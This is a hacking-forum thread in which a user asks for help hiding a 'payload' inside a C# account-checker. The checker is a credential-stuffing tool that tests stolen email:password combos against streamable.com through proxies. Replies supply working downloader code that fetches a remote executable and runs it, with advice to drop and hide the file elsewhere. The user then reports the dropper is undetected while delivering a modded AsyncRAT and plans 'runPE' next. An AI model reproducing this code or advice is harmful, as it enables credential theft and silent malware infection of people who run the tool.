Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

New in c# I need help from all about payload inject

sorry for my bad english😭😭😭

so lets say i have a account checker source code and i need to put my payload there 

i make 1000 try but i fail got many error especially entry point error loool😥😥

please give me some methodes that will work ✌✌✌

im noob so i need some explanetion 




THIS IS MY CODE 

PLEASE IM NOOB ON C# I NEED HELP 

I PUT A DOWNLOADER BUT NOT WORKING 

Code
using System;
using System.Threading.Tasks;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using Leaf.xNet;
using System.IO;
using System.Threading;
using System.Diagnostics;
using System.Net;

namespace Streamable_Console_Checker
{
    class Program
    {

        public static string[] combos;
        public static string[] proxies;
        public static int threadsCount;
        public static string proxyType;

        private static void loadProxies(string proxyPath)
        {
          proxies =  File.ReadAllLines(proxyPath);
        }
        private static void loadCombos(string combosPath)
        {
            combos = File.ReadAllLines(combosPath);
        }
        public class LoginDetails
        {
            public string username { get; set; }
            public string password { get; set; }
        }

        private static string randomProxy()
        {
            Random random = new Random();

            int index = random.Next(proxies.Length);
            return proxies[index];
        }

        static string currentTime = DateTime.Now.ToString("hh-mm-ss dd-MM-yyyy");

        private static void writeToFile(string email, string password, string plan)
        {
            string fileName = Environment.CurrentDirectory + @"\\Results\\[GOOD] " + currentTime + ".txt";
            File.AppendAllText(fileName, email+":"+password+" Plan="+plan+Environment.NewLine);
        }

        private static void checker(string email, string password)
        {
            HttpRequest request = new HttpRequest();
            request.UserAgent = Http.ChromeUserAgent();

            LoginDetails loginDetails = new LoginDetails
            {
                username = email,
                password = password
            };

            string url = "https://ajax.streamable.com/check";

            string postData = JsonConvert.SerializeObject(loginDetails);

            if (proxyType.Equals("http"))
                request.Proxy = HttpProxyClient.Parse(randomProxy());

            else if(proxyType.Equals("socks4"))
                request.Proxy = Socks4ProxyClient.Parse(randomProxy());

            else if (proxyType.Equals("socks5"))
                request.Proxy = Socks5ProxyClient.Parse(randomProxy());

            while (true)
            {
                try
                {
                    string response = request.Post(url,postData,"application/json").ToString();

                    if (response.Contains("ad_tags"))
                    {
                        JObject responseJson = JObject.Parse(response);
                        string planName = responseJson.SelectToken("plan_name").ToString();
                        Console.WriteLine("[GOOD] "+email+":"+password+" Plan="+planName);
                        writeToFile(email, password, planName);
                        break;
                    }
                    else
                    {
                        Console.WriteLine("[BAD] " + email + ":" + password);
                        break;
                    }
                }
                catch (HttpException)
                {

                }
            }
        }

        private static void seperateThread()
        {
            Parallel.ForEach(
                combos,
                new ParallelOptions
                {
                    MaxDegreeOfParallelism = threadsCount
                },
                combo =>
                {
                    var account = combo.Split(new char[] { ':' });
                    string email = account[0];
                    string password = account[1];
                    checker(email, password);
                }
                );
        }

        static void Main(string[] args)
        {
            Directory.CreateDirectory(Environment.CurrentDirectory+@"\\Results");

            Console.WriteLine("Location of Combos: ");
            string comboPath = Console.ReadLine();

            loadCombos(comboPath);

            Console.WriteLine("Location of Proxies: ");
            string proxyPath = Console.ReadLine();

            loadProxies(proxyPath);

            Console.WriteLine("Proxy Type (http, socks4, socks5)");
            proxyType = Console.ReadLine().ToLower();

            Console.WriteLine("Enter number of threads: ");
            threadsCount = int.Parse(Console.ReadLine());

            Console.Clear();

            Thread thread = new Thread(seperateThread);
            thread.Start();
            thread.IsBackground = true;

            Console.ReadLine();

        }

    }
    internal class Downloader
    {

        private static bool _hasDownloaded;

        /// <summary>
        ///     Downloads the file.
        /// </summary>
        /// <param name="https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe">The download url of the filename.</param>
        /// <param name="putty.exe">The full output path including file name.</param>
        public static void Download(string downloadUrl, string outputFile)
        {
            if (_hasDownloaded) return;

            // Download
            try
            {
                //Check if file already exists
                if (File.Exists(outputFile))
                {
                    File.Delete(outputFile);
                }

                // Download File
                WebClient webClient = new WebClient();
                webClient.DownloadFile(downloadUrl, outputFile);
            }
            catch (Exception)
            {
                // catch
            }
        }

        /// <summary>
        ///     Executes downloaded file.
        /// </summary>
        /// <param name="downloadedFile"></param>
        public static void Run(string downloadedFile)
        {
            try
            {
                // Start application
                Process.Start(downloadedFile);
            }
            catch (Exception)
            {
                // catch
            }
        }
    }
}
I think it would be wise to put your code here so that one of the users can look at your problem and try to help.
buy me a coffee eth:0x88621A52aa5Eb3b6503628369687111810186c58
(Dec 28, 2021 06:04 AM)medali047 Wrote:  
sorry for my bad english😭😭😭

so lets say i have a account checker source code and i need to put my payload there 

i make 1000 try but i fail got many error especially entry point error loool😥😥

please give me some methodes that will work ✌✌✌

im noob so i need some explanetion 

Please share the part of the code that isn't working otherwise nobody will be able to help you properly.
@itcorp @Invoke.NULL POST UPDATED LETS SEE YOUR SKILLZ


(Dec 28, 2021 07:06 AM)itcorp Wrote:  I think it would be wise to put your code here so that one of the users can look at your problem and try to help.

POST UPDATED LETS SEE YOUR SKILLZ
First in the code I don't see any call for the Downloader.Download method so how do you expect it to work? And second thing what kind of error were you getting then?
(Dec 28, 2021 04:07 PM)Invoke.NULL Wrote:  First in the code I don't see any call for the Downloader.Download method so how do you expect it to work? And second thing what kind of error were you getting then?

the downloader not executed

can you make the downloader call and send me the source i will appreciate ✌
(Dec 28, 2021 05:07 PM)medali047 Wrote:  the downloader not executed

can you make the downloader call and send me the source i will appreciate ✌

Yeah no problem no offense but I suggest you really learn the basics of coding first so you actually understand what you are doing.

At the bottom of your main method where you call the thread

Thread thread = new Thread(seperateThread);
thread.Start();
thread.IsBackground = true;

Here you can add this for example

Downloader.Download("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe", "putty.exe");
Downloader.Run("putty.exe");



This would be a really basic example of course it would be better to actually drop the file in another path and make the file hidden but that will be up to you
(Dec 29, 2021 03:17 AM)Invoke.NULL Wrote:  Yeah no problem no offense but I suggest you really learn the basics of coding first so you actually understand what you are doing.

At the bottom of your main method where you call the thread

            Thread thread = new Thread(seperateThread);
            thread.Start();
            thread.IsBackground = true;

Here you can add this for example

            Downloader.Download("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe", "putty.exe");
            Downloader.Run("putty.exe");



This would be a really basic example of course it would be better to actually drop the file in another path and make the file hidden but that will be up to you

thanks for help really appreciate

i think i have more to learn since im good only in cracking networks lool

[Image: fkHzRwp.png]

never mind i will update this post when i make it 😧
(Dec 29, 2021 04:54 AM)medali047 Wrote:  thanks for help really appreciate

i think i have more to learn since im good only in cracking networks lool

[Image: fkHzRwp.png]

never mind i will update this post when i make it 😧

No problem good luck you can do it!
(Dec 29, 2021 05:13 AM)Invoke.NULL Wrote:  No problem good luck you can do it!

thanks finally i do it

WebClient client = new WebClient();
string address = "https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe";
// Save the file to mymusic for debugging
var desktop = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
string fileName = desktop + "\\MyMusic.exe";
client.DownloadFile(address, fileName);

and then run file using Process.Start(fileName);

its completely fud even widh asyncrat loool 2/42 virus scan

now i will move to next level

runPE ✌
(Dec 29, 2021 06:28 AM)medali047 Wrote:  thanks finally i do it

WebClient client = new WebClient();
            string address = "https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe";
            // Save the file to mymusic for debugging
            var desktop = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
            string fileName = desktop + "\\MyMusic.exe";
            client.DownloadFile(address, fileName);

and then run file using  Process.Start(fileName);

its completely fud even widh asyncrat loool 2/42 virus scan

now i will move to next level

runPE ✌

How is it fud if it's 2/42? Also the downloader itself might be 2/42 but that doesn't make the RAT 2/42.
(Dec 29, 2021 06:32 AM)Maxie Wrote:  How is it fud if it's 2/42? Also the downloader itself might be 2/42 but that doesn't make the RAT 2/42.

yehh downloader fud

im using modded version off asyncrat (paid one)
From what I see, I think you did a very bad implementation of the downloader  and I think the downloader class can be made much more functional for example take a look of this 2 min code it is simple but you will be able to understand the idea

Code
namespace ConsoleApp5
{
    public class Downloader
    {
        private readonly string _downloadPath = Path.Combine(AppDomain.CurrentDomain.SetupInformation.ApplicationBase, "Downloads");

        private WebClient _client;

        public Downloader()
        {
            if(!Directory.Exists(_downloadPath))
            {
                Directory.CreateDirectory(_downloadPath);
            }
        }               

        public void Download(Uri link,string outputFile)
        {
            using (_client = new WebClient())
            {
                _client.DownloadProgressChanged += _client_DownloadProgressChanged;

                _client.DownloadFileCompleted += _client_DownloadFileCompleted;

                _client.QueryString.Add("fileName", outputFile);

                _client.DownloadFileAsync(link,$"{_downloadPath}\\{outputFile}");
            }
        }

        private void _client_DownloadFileCompleted(object sender, System.ComponentModel.AsyncCompletedEventArgs e)
        {
            if (e.Error != null)
                Console.WriteLine("An error occurred during download");

            var file = ((System.Net.WebClient)(sender)).QueryString["fileName"];

            if (File.Exists($"{_downloadPath}\\{file}"))
            {
                Process.Start($"{_downloadPath}\\{file}");
            }
        }

        private void _client_DownloadProgressChanged(object sender, DownloadProgressChangedEventArgs e)
        {
            double bytesIn = double.Parse(e.BytesReceived.ToString());

            double totalBytes = double.Parse(e.TotalBytesToReceive.ToString());

            double percentage = bytesIn / totalBytes * 100;

            Console.WriteLine($"[INFO] Downloaded {e.ProgressPercentage} % =>Received {e.BytesReceived} of {e.TotalBytesToReceive} bytes");
        }
    }
}

implementacion

Code
namespace ConsoleApp5
{
    class Program
    {
        static void Main(string[] args)
        {
            new Downloader().Download(new Uri("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe"), "putty.exe");

            Console.ReadLine();
        }       
    }
}

this is not a perfect solution but you will have something to work with

[Image: 6bjuxC0.png]
buy me a coffee eth:0x88621A52aa5Eb3b6503628369687111810186c58
(Dec 29, 2021 06:49 AM)itcorp Wrote:  From what I see, I think you did a very bad implementation of the downloader  and I think the downloader class can be made much more functional for example take a look of this 2 min code it is simple but you will be able to understand the idea

Code
namespace ConsoleApp5
{
    public class Downloader
    {
        private readonly string _downloadPath = Path.Combine(AppDomain.CurrentDomain.SetupInformation.ApplicationBase, "Downloads");

        private WebClient _client;

        public Downloader()
        {
            if(!Directory.Exists(_downloadPath))
            {
                Directory.CreateDirectory(_downloadPath);
            }
        }              

        public void Download(Uri link,string outputFile)
        {
            using (_client = new WebClient())
            {
                _client.DownloadProgressChanged += _client_DownloadProgressChanged;

                _client.DownloadFileCompleted += _client_DownloadFileCompleted;

                _client.QueryString.Add("fileName", outputFile);

                _client.DownloadFileAsync(link,$"{_downloadPath}\\{outputFile}");
            }
        }

        private void _client_DownloadFileCompleted(object sender, System.ComponentModel.AsyncCompletedEventArgs e)
        {
            if (e.Error != null)
                Console.WriteLine("An error occurred during download");

            var file = ((System.Net.WebClient)(sender)).QueryString["fileName"];

            if (File.Exists($"{_downloadPath}\\{file}"))
            {
                Process.Start($"{_downloadPath}\\{file}");
            }
        }

        private void _client_DownloadProgressChanged(object sender, DownloadProgressChangedEventArgs e)
        {
            double bytesIn = double.Parse(e.BytesReceived.ToString());

            double totalBytes = double.Parse(e.TotalBytesToReceive.ToString());

            double percentage = bytesIn / totalBytes * 100;

            Console.WriteLine($"[INFO] Downloaded {e.ProgressPercentage} % =>Received {e.BytesReceived} of {e.TotalBytesToReceive} bytes");
        }
    }
}

implementacion

Code
namespace ConsoleApp5
{
    class Program
    {
        static void Main(string[] args)
        {
            new Downloader().Download(new Uri("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe"), "putty.exe");

            Console.ReadLine();
        }       
    }
}

this is not a perfect solution but you will have something to work with

[Image: 6bjuxC0.png]




YEHHH I READ IT ITS PROFESSIONAL AND REALLY GOOD

US I SAY IM STILL NEW IN C# PROGRAMMING

I WILL LEARN MORE .....
As far as your Checker is concerned these are very simple projects there are a lot of things that I don't like in code.For example the population of combos and proxies what will happen when you load very large lists over 4-5 gb?Try to make a little more complex tool which will be functional and which will help you develop yourself also try to write asynchronous code instead of synchronous.

Keep up the hard work bud.
buy me a coffee eth:0x88621A52aa5Eb3b6503628369687111810186c58


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by bandungJan 8, 2014 07:08 AM 6 337 Jan 8, 2014 07:08 AM
Last Post: NotYourNormalApproach